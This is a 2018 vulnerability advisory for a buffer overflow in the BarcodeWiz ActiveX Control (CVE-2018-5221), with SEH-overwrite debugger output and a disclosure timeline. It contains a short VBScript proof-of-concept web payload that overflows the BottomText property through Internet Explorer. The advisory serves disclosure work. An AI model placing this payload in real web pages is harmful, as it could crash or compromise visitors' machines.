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BarcodeWiz ActiveX Control Buffer Overflow

BarcodeWiz ActiveX Control Buffer Overflow
Posted Jan 6, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

BarcodeWiz ActiveX Control versions prior to 6.7 suffers from a buffer overflow vulnerability.

tags | exploit, overflow, activex
advisories | CVE-2018-5221
SHA-256 | 6101e91a84aee00fafb0cebb5718a2df43f7b5c55b823edf4cf69caa14768177

BarcodeWiz ActiveX Control Buffer Overflow

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[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/BARCODEWIZ-v6.7-ACTIVEX-COMPONENT-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec



Vendor:
=================
www.barcodewiz.com


Product:
=============
BarcodeWiz ActiveX Control < 6.7

BarCodeWiz OnLabel. Generates dynamic barcodes from your imported Excel, CSV, or Access files. Print auto incrementing barcodes;
Choose from hundreds of label layouts; Export as PDF or XPS.


Vulnerability Type:
===================
Buffer Overflow


CVE Reference:
==============
CVE-2018-5221


Security Issue:
================
BarcodeWiz.DLL BottomText and TopText propertys suffer from buffer overflow vulnerability resulting in (SEH) "Structured Exceptional Handler" overwrite .
This can be exploited by a remote attacker to potentially execute arbitrary attacker supplied code. User would have to visit a malicious webpage using
InternetExplorer where the exploit could be triggered.


SEH chain of main thread
Address SE handler
0018DAC0 kernel32.754E48F3
0018EE34 41414141
41414141 *** CORRUPT ENTRY ***


Exception Code: ACCESS_VIOLATION
Disasm: 2045665 MOV [EDX+ECX],AL (BarcodeWiz.DLL)

SEH Chain:
--------------------------------------------------
1 41414141


Called From Returns To
--------------------------------------------------
BarcodeWiz.2045665 BarcodeWiz.202FF50
BarcodeWiz.202FF50 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141


Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data


Exploit/POC:
=============
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='VICTIM' />
<script language='vbscript'>

PAYLOAD=String(12308, "A")

VICTIM.BottomText = PAYLOAD

</script>




Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: December 26, 2017
Vendor Acknowledgement: January 2, 2018
Vendor "updated version released this week." : January 2, 2018
January 6, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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